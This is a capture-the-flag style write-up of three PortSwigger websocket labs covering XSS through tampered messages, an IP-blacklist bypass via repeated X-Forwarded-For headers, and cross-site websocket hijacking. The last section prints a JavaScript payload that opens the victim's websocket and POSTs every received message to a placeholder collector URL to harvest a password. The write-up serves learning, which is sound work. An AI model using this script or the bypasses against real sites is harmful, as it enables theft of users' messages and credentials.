Websockets
SUMMARY
While doing Week 2. Backfire I came across Havoc, a post-exploitation C2 framework that relies on websocket implementation. I thought it was a good opportunity to learn more about websockets and went to Portswigger Academy, which provides several labs to practice with websockets vulnerabilities.
Basically, websockets provide a way to keep long-lived HTTP connections. Once the websocket handshake is established, the connection stays open and idle until either the client or the server is ready to send a message. It is useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.
KEYWORDS
Websockets, XSS, CSRF.
WEBSCKT-01: Manipulating websockets messages to exploit vulnerabilities
This is a good lab to learn how websockets are established and familiarize with Burpsuite websocket tools.
Just open the lab and click on "Live Chat", then inspect the traffic with Burpsuite. The request to /academyLabHeader contains the handshake.
To inspect the traffic being sent through it, click on the "WebSockets History" tab in Burpsuite.
Messages with size 4 are ping probes, whereas the bigger ones contain the actual chat messages exchanged.
To solve the lab we are challenged to exploit a reflected XSS vulnerability in the chat application. When we enter the payload we see it is not rendered by the browser.
This is because user input is sanitized by the browser before being sent to the server. Therefore it is treated as a text string instead of a Javascript piece of code when reflected.
If you analyze the websockets traffic, you see the modifications made in the tags before being sent to the server.
To bypass the filter and solve the lab, just send the request to Repeater and restore the HTML tags before sending.
Send it and solve the lab.
WEBSCKT-02: Manipulating the websocket handshake to exploit vulnerabilities
This is similar to the previous case, but in this case when the XSS payload is entered, the app detects the attack and closes the chat.
Moreover, the IP gets blacklisted.
The aim of the lab is to learn to manipulate the websocket handshake to overcome the protection.
The IP filtering can be bypassed with the X-Forwarded-For header. Intercept a handshake request with Burpsuite and add the header as many times as necessary until the handshake is established.
Now you can try an obfuscated XSS payload such as the one in the solution to solve the lab
WEBSCKT-03: Cross-site websocket hijacking (CSWSH)
This attack is similar to regular CSRF attacks in web sites, but applicable to websockets.
We can determine if an application is vulnerable by inspecting the websocket handshake. If the application do not provide the clients with unique, secret, and unpredictable values (such as CSRF tokens) to verify the authenticity of the requests, it may be vulnerable to CSWSH.
Open the lab and inspect the handshake. The important takeaway of the lab is to learn to identify vulnerable applications. HTTP cookies are not valid as unpredictable tokens, other parameters such as Sec-Websocket-Key are also not valid as anti-CSRF tokens. As indicated in the Academy they "contain a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes".
Another interesting thing to note is the Javascript malicious server proposed in the solution to exploit the vulnerability. This is supposed to run in an attacker-controlled server, and basically impersonates the user connecting to the vulnerable application websocket and redirects the chat history to a controlled endpoint.
<script>
var ws = new WebSocket('wss://<chat application URL>');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
var msg = event.data;
fetch('https://<Burpsuite Collaborator URL>', {
method: 'POST',
mode: 'no-cors',
body: msg
});
};
</script>
Basically, the script generates a connection to the vulnerable chat application websocket (you can take the URL from the handshake request). When the websocket is established a text message ("READY") is sent through the websocket to the chat server to indicate it is ready to receive data. Finally, the ws.message function takes the information received in the websocket and forwards it to an attacker-controlled collector server (e.g. Burpsuite Collaborator or similar).
You can start the script in the exploit server and start receiving data in your Burpsuite Collaborator. Eventually, you'll receive the user password in one of the messages.
REFERENCES
Last updated